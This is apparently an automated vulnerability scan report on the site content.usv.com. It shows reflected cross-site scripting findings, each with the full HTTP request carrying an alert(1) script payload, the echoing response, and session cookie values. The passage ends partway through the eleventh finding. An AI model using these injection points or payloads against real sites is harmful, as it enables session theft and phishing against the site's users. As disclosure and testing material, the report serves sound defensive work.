XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, content.usv.com

Report generated by XSS.CX at Thu Nov 10 10:00:51 CST 2011.

Loading



1. Cross-site scripting (reflected)

1.1. http://content.usv.com/decor/javascript/magnify_pipeline.js [REST URL parameter 1]

1.2. http://content.usv.com/decor/javascript/magnify_stats.js [REST URL parameter 1]

1.3. http://content.usv.com/decor/javascript/magnify_twitter_feed.js [REST URL parameter 1]

1.4. http://content.usv.com/decor/track/dot.gif [REST URL parameter 1]

1.5. http://content.usv.com/pages/canvas [REST URL parameter 1]

1.6. http://content.usv.com/pages/canvas [REST URL parameter 1]

1.7. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 1]

1.8. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 1]

1.9. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 1]

1.10. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 1]

1.11. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 1]

1.12. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 2]

1.13. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 2]

1.14. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 2]

1.15. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 3]

1.16. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 3]

1.17. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 3]

1.18. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [Referer HTTP header]

1.19. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [Referer HTTP header]

2. Flash cross-domain policy

3. Session token in URL

3.1. http://content.usv.com/decor/track/dot.gif

3.2. http://content.usv.com/pages/canvas

3.3. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

4. Cookie without HttpOnly flag set

4.1. http://content.usv.com/pages/canvas

4.2. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

5. Referer-dependent response

6. Cross-domain Referer leakage

7. Cross-domain script include

7.1. http://content.usv.com/pages/canvas

7.2. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

8. TRACE method is enabled

9. Robots.txt file



1. Cross-site scripting (reflected)  next
There are 19 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://content.usv.com/decor/javascript/magnify_pipeline.js [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /decor/javascript/magnify_pipeline.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6367d"%3balert(1)//039e3f3570d was submitted in the REST URL parameter 1. This input was echoed as 6367d";alert(1)//039e3f3570d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /6367d"%3balert(1)//039e3f3570d/javascript/magnify_pipeline.js?v1.3 HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://content.usv.com/pages/canvas
Cookie: mvp_session=8627e717f112147e93421865a81b920b

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8627e717f112147e93421865a81b920b; path=/; expires=Thu, 10-Nov-2011 13:21:09 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 31923
Date: Wed, 09 Nov 2011 13:21:09 GMT
X-Varnish: 1394910324
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
e="text/javascript">
   var _sf_async_config={uid:2250,domain:"aggregate.magnify.net"};
   (function(){
    function loadChartbeat() {
       window._sf_endpt=(new Date()).getTime();
       _sf_async_config.path = "/6367d";alert(1)//039e3f3570d/javascript/magnify_pipeline.js";
       var e = document.createElement('script');
       e.setAttribute('language', 'javascript');
       e.setAttribute('type', 'text/javascript');
       e.setAttribute('src',
        (("ht
...[SNIP]...

1.2. http://content.usv.com/decor/javascript/magnify_stats.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /decor/javascript/magnify_stats.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 368e7"%3balert(1)//97f3f3336e2 was submitted in the REST URL parameter 1. This input was echoed as 368e7";alert(1)//97f3f3336e2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /368e7"%3balert(1)//97f3f3336e2/javascript/magnify_stats.js?v1.2 HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://content.usv.com/pages/canvas
Cookie: mvp_session=8627e717f112147e93421865a81b920b

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8627e717f112147e93421865a81b920b; path=/; expires=Thu, 10-Nov-2011 13:21:33 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 31909
Date: Wed, 09 Nov 2011 13:21:33 GMT
X-Varnish: 1394911842
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
e="text/javascript">
   var _sf_async_config={uid:2250,domain:"aggregate.magnify.net"};
   (function(){
    function loadChartbeat() {
       window._sf_endpt=(new Date()).getTime();
       _sf_async_config.path = "/368e7";alert(1)//97f3f3336e2/javascript/magnify_stats.js";
       var e = document.createElement('script');
       e.setAttribute('language', 'javascript');
       e.setAttribute('type', 'text/javascript');
       e.setAttribute('src',
        (("https
...[SNIP]...

1.3. http://content.usv.com/decor/javascript/magnify_twitter_feed.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /decor/javascript/magnify_twitter_feed.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 38b41"%3balert(1)//43465dc3fb4 was submitted in the REST URL parameter 1. This input was echoed as 38b41";alert(1)//43465dc3fb4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /38b41"%3balert(1)//43465dc3fb4/javascript/magnify_twitter_feed.js?v2 HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://content.usv.com/pages/canvas
Cookie: mvp_session=8627e717f112147e93421865a81b920b

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8627e717f112147e93421865a81b920b; path=/; expires=Thu, 10-Nov-2011 13:21:12 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 31944
Date: Wed, 09 Nov 2011 13:21:12 GMT
X-Varnish: 1394910526
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
e="text/javascript">
   var _sf_async_config={uid:2250,domain:"aggregate.magnify.net"};
   (function(){
    function loadChartbeat() {
       window._sf_endpt=(new Date()).getTime();
       _sf_async_config.path = "/38b41";alert(1)//43465dc3fb4/javascript/magnify_twitter_feed.js";
       var e = document.createElement('script');
       e.setAttribute('language', 'javascript');
       e.setAttribute('type', 'text/javascript');
       e.setAttribute('src',
        (
...[SNIP]...

1.4. http://content.usv.com/decor/track/dot.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /decor/track/dot.gif

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c6649"%3balert(1)//d4273c3f9bc was submitted in the REST URL parameter 1. This input was echoed as c6649";alert(1)//d4273c3f9bc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /c6649"%3balert(1)//d4273c3f9bc/track/dot.gif?sp=enterprise&session_id=8627e717f112147e93421865a81b920b&rand=81597&site=P8TH6404Q1P6NBW1&time=1320844806 HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://content.usv.com/pages/canvas
Cookie: mvp_session=8627e717f112147e93421865a81b920b

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8627e717f112147e93421865a81b920b; path=/; expires=Thu, 10-Nov-2011 13:22:13 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 31839
Date: Wed, 09 Nov 2011 13:22:13 GMT
X-Varnish: 1394914482
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
e="text/javascript">
   var _sf_async_config={uid:2250,domain:"aggregate.magnify.net"};
   (function(){
    function loadChartbeat() {
       window._sf_endpt=(new Date()).getTime();
       _sf_async_config.path = "/c6649";alert(1)//d4273c3f9bc/track/dot.gif";
       var e = document.createElement('script');
       e.setAttribute('language', 'javascript');
       e.setAttribute('type', 'text/javascript');
       e.setAttribute('src',
        (("https:" == document
...[SNIP]...

1.5. http://content.usv.com/pages/canvas [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pages/canvas

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e1e84"%3balert(1)//aba97bdb741 was submitted in the REST URL parameter 1. This input was echoed as e1e84";alert(1)//aba97bdb741 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /pagese1e84"%3balert(1)//aba97bdb741/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8627e717f112147e93421865a81b920b; path=/; expires=Thu, 10-Nov-2011 13:20:41 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 31770
Date: Wed, 09 Nov 2011 13:20:41 GMT
X-Varnish: 1394908215
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
xt/javascript">
   var _sf_async_config={uid:2250,domain:"aggregate.magnify.net"};
   (function(){
    function loadChartbeat() {
       window._sf_endpt=(new Date()).getTime();
       _sf_async_config.path = "/pagese1e84";alert(1)//aba97bdb741/canvas";
       var e = document.createElement('script');
       e.setAttribute('language', 'javascript');
       e.setAttribute('type', 'text/javascript');
       e.setAttribute('src',
        (("https:" == document.locati
...[SNIP]...

1.6. http://content.usv.com/pages/canvas [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pages/canvas

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3eb42"><script>alert(1)</script>b513d93001b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pages3eb42"><script>alert(1)</script>b513d93001b/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8627e717f112147e93421865a81b920b; path=/; expires=Thu, 10-Nov-2011 13:20:39 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 31876
Date: Wed, 09 Nov 2011 13:20:40 GMT
X-Varnish: 1394908127
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
;body=This automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://content.usv.com/pages3eb42"><script>alert(1)</script>b513d93001b/canvas%0AServer: content.usv.com%0APath: /pages3eb42">
...[SNIP]...

1.7. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The value of REST URL parameter 1 is copied into the name of an HTML tag attribute. The payload 4485b><script>alert(1)</script>cbd51014e3c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pagese1e84%22%3balert(%27Vulnerable%27)4485b><script>alert(1)</script>cbd51014e3c//aba97bdb741/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/8
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:18 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 32106
Date: Wed, 09 Nov 2011 13:51:18 GMT
X-Varnish: 1395037409
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
enerated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://content.usv.com/pagese1e84";alert('Vulnerable')4485b><script>alert(1)</script>cbd51014e3c//aba97bdb741/canvas%0AServer: content.usv.com%0APath: /pagese1e84";alert('Vulnerable')4485b>
...[SNIP]...

1.8. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8e4f"><script>alert(1)</script>f128a5cbff6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /c8e4f"><script>alert(1)</script>f128a5cbff6//aba97bdb741/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/8
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:18 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 31939
Date: Wed, 09 Nov 2011 13:51:19 GMT
X-Varnish: 1395037451
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
m&amp;body=This automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://content.usv.com/c8e4f"><script>alert(1)</script>f128a5cbff6//aba97bdb741/canvas%0AServer: content.usv.com%0APath: /c8e4f">
...[SNIP]...

1.9. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 88727<script>alert(1)</script>a0080ae0097 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pagese1e84%22%3balert(%27Vulnerable%27)88727<script>alert(1)</script>a0080ae0097//aba97bdb741/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/8
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:21 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 32095
Date: Wed, 09 Nov 2011 13:51:21 GMT
X-Varnish: 1395037661
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
</script>a0080ae0097//aba97bdb741/canvas%0AServer: content.usv.com%0APath: /pagese1e84";alert('Vulnerable')88727<script>alert(1)</script>a0080ae0097//aba97bdb741/canvas%0AReferrer: http://burp/show/8">
...[SNIP]...

1.10. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload bc828%3balert(1)//8a934fec741 was submitted in the REST URL parameter 1. This input was echoed as bc828;alert(1)//8a934fec741 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /pagese1e84%22%3balert(%27Vulnerable%27)bc828%3balert(1)//8a934fec741//aba97bdb741/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/8
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:20 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 32001
Date: Wed, 09 Nov 2011 13:51:20 GMT
X-Varnish: 1395037609
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
sync_config={uid:2250,domain:"aggregate.magnify.net"};
   (function(){
    function loadChartbeat() {
       window._sf_endpt=(new Date()).getTime();
       _sf_async_config.path = "/pagese1e84";alert('Vulnerable')bc828;alert(1)//8a934fec741//aba97bdb741/canvas";
       var e = document.createElement('script');
       e.setAttribute('language', 'javascript');
       e.setAttribute('type', 'text/javascript');
       e.setAttribute('src',
        (("https:" == do
...[SNIP]...

1.11. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d60af"%3balert(1)//7a16ef3a6c6 was submitted in the REST URL parameter 1. This input was echoed as d60af";alert(1)//7a16ef3a6c6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /d60af"%3balert(1)//7a16ef3a6c6//aba97bdb741/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/8
